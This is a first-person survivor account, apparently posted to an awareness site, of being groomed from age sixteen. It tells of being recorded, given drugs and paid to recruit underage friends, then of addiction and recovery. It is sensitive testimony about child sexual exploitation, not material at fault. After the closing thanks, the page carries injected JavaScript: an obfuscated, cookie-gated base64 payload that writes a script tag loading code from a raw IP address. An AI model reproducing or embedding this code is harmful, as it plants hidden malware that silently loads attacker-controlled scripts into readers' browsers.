My sexual curiosity had started at very young age. I have always found the human body to be facsinating, especially the reactions to stimulus of any kind that it had. My particular favorite stimulus was that of a sexual nature and foreign substances of any kind. I guess somehwere in my mind I felt that I always needed to be stimulated somehow someway and Im not sure as the reason why, but I hope to someday truly understand why I was such a permiscuous child and teenager.
My mother was single and not very clever when it came to hiding her porno clips and sex toys and she had many sexual partners that I remember from my childhood. I often went searching for things of these nature in her stuff when she wasnt around. I dont recall ever being abused by any of her one nighters but Im not positive that it didnt happen. Her public displays of affection towards these men was a little too graphic at times and very inapropriate as far as Im concerned now. At the time I remember how cool I thought she was and how great it was to see these mens reactions to the way she grabbed at them and the witty things she would say to them. So maybe it starts there with my mom, who knows?
I lost my virginity at age 13 but had been masturbating since about 9 years of age. So by the time I was 16 I had been through multiple sex partners both male and female, sometimes both, and I was facsincated with older men. Their ages would range from 10 years older to sometimes 20 plus. The more powerful and well off they were, the more intrugued I would be. I really enjoyed the way some of these men catered to me and I was happy to oblige to thier sexual needs in return.
One day I was sun tanning at a public residential pool in my neighborhood. I was the only one there that day for a while and so I was tanning almost naked which now I regret and cant believe I didnt get kicked out for. I was suddenly disturbed by the gate swinging closed and I looked up from where i was laying. A normal looking man probably early thirties had come in by himself. I didnt think anything of him and was not initially attracted so I closed my eyes and went about my business. Then I heard the lawn chair right next to me adjust its position. I looked over and since the guy could have sat anywhere he wanted but came right next to me, I introduced myself.
He was very nice, well spoken, not creepy at all to me but probably would have come off a bit strange to someone else. His demeanor seemed harmless and genuinely good hearted and I began to feel a sense of trust from him. I began to flirt as we talked about how much I loved to swim and tan and he seemed very interested in what I had to say. I then invited him to rub tanning oil on my behind which lead to a five year grooming process that almost took my life.
During the five years I had spent on and off with this man, I learned he had lied to me about his age initially saying he was 26 but was 32 and I was 16. He was a licensed Mortician, Funeral Director, and Marketing Director for a company that distributed bural vaults and urns, yeah scary I know. But at the time I was impressed with how much money he made and how successful he was at what he did. Ill never forget his remark about his chosen profession, ” By the time I was 14 years old I knew that I wanted to be a professional in the funeral industry.” Could be taken any way you want but I believe that to be an awkward choice for a career at such a young age. He often stated how much he was impressed with my intelect for being such a young girl, and that I was very atractive and talented, he made me feel like I was his goddess.
Our relationship continued to get closer and closer as he eventually talked me into video tapping our sexual experiences, which were mostly of me performing oral sex on him. Dont get me wrong I was into doing this because it was like the spotlight was on me and his reactions and the sounds that came from my performance sent shrills down my spine in a good way so I thought at the time. He also aided me in purchasing alcoholic beverages, illegal narcotics, providing a safe place for my friends and myself to party with these substances, he even began to pay my bills and take me out on what I thought were dates and such.
When I had friends over they were usually girls and he would ocassionally ask me if I thought if any of my little girlfriends were as freaky as me. I took this as a challenge so I would test all of my friends that I would bring over after that. It always happend the same way, we would get drunk, he gave me the cue, I began to recruit, and usually ended up being video tapped by my friend. After a while it became harder and harder to convince my friends that it would be cool and he will give us drugs and alcohol, so it quickly turned into a numbers game. He would pay me a finders fee so to speak and he would also pay the friend that joined us. This went on from ages 16 to 20.
I would have a boyfriend sometimes and lose touch with him and then one day he would coax me into coming over to help with something, or I would just say hi to him and end up over at his house, cheating on my current boyfriend. It was exciting to me to have him on the side, and whenever I would be dating someone else and I came to see him, he would always have my favorite party favors or drinks or food or candles or whatever, he knew what I liked and he always provided. I totally bought into this act and after ahwile of going through all these boyfriends but always coming back to him, I decided it was time to suggest a monogomous realtionship with him.
He was all about it at first, till I said I didnt want to bring in my girlfriends anymore. I also noticed that the older I got the less interested he was. My drug use began to spiral out of control as did his. I would always incorporate the video camera in anything sexual we did, and would explore other ways I could be freaky and nasty for him. He used more and more force as time went on and I acted like I was into it and unable to truely hurt.
I isolated myself from family and friends, lost my job, quit school, and was completely compelled by him and his weirdness. I had tried to figure him out many times and the things I had discovered about him were sickening and gut wretching. I dont want to go into detail but lets just say he had done this many many times before, and one particular girl involved with him has been missing for quite some time now. Alot of these things I discovered angered me and made me feel like he couldnt trust me to tell me this stuff, When I confronted him on stuff I caught him red handed with her would honestly look me in the eye and lie and lie some more. Some of things he came up with were unbelievable, well thought out, and as he would often say, “Clever.”
I have recently broken away from this man but almost died in the process. I was heavily addicted to meth, living in his home for a year, completely lost in this world of dillusion, unable to walk away willingly at that point. I was malnutritioned, very weak physically and mentally, suicidal, and just completely lost. I had no one to talk to anymore but him, and he just didnt care. He would act like he did at first and then quickly became issues on a back burner, left to go up in flames eventually.
I tried to commit suicide twice and both times he coddled me afterwards but did nothing to help prevent these attempts. He was well aware of my depression, because I confided it to him many times, and every time he would act like he supported me and like he cared but never followed through with helping me at all till after my suicide attempts. I then felt trapped and very angered with him for watching me fall with a grin on his face. I was very much in love with him, and all I was to him was the gold medalist in his sadisitc pedophile olypmics games.
We began to physically fight each other and I wanted to kill him. We almost killedeachother had my very best friend not come to check in on me one day. That day I was placed on a flight from Arizona to Chicago with a carry on bag. Everything else I had owned was left behind in the house with him including all of my photos and journal entries which is really the reason I cant submit a childhood photo of myself, I no longer have any. He destroyed all that was left of my belongings after I left.
There is so much more I could add to this story, I honestly could probably write a very detailed novel about it and maybe someday I will. But the point is that this man was a complete and total groomer. He portrayed himself to be a outstanding citizen, well kept and well spoken, seemingly educated and harmless. Nice appearance, and gentle demeanor, very hospitable with a very welcoming swelling space that he took pride and honor in decorating to make you feel like you were home away from home. He knew exactly what he was doing and yet made it seem like he meant no harm and was genuinely a good hearted person who was your best friend and confidant.
Well he wasnt and to this day I wonder if he even knows how badly this affected me or the other girls he had done it to. Maybe in his mind he really thinks he is normal and that he doing no harm. But I can tell you one thing, I am scarred from my relationship with him. I have a fear of intimacy like you wouldnt believe and I have developed serious trust issues with mostly men but women too.
This is not my first attempt to get my story out there. I have also turned the video tapes we made into Mesa Arizona police detectives, which have not been pursued or further investigated as far as I know. I also know for a fact that this man is free and is in a neighborhood where there are many young teenage girls. That infurates me more than anything.
Im not sure how I will ever find justice through all of this, but I do know one thing for sure, and that is I am a survivor and my story will go on. So far I have been sober 6 months and I have not made contact with this man since I left his home in august of 2009. I have not made contact wtih the detectives I turned the tapes into simply because I feared my life and I just wanted to forget about it all. It still keeps me awake at night and haunts my dreams when I do sleep. It envokes a shattered part of my soul from time to time and I hope that on my road to recovery I can eventually overcome this part of my life and continue to grow in a positive and loving environment.
Together we can come out of the dark and bring light to this ever increasing problem we face with sexual predators and hopefully we can put away as many of them as we can. I say its time to exploit them just like they exlpoited us.
Anyway Im not sure what happens next but Ill submit this and see.
Thank you for giving me a chance to share to my story, I hope inspires others to share thiers. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘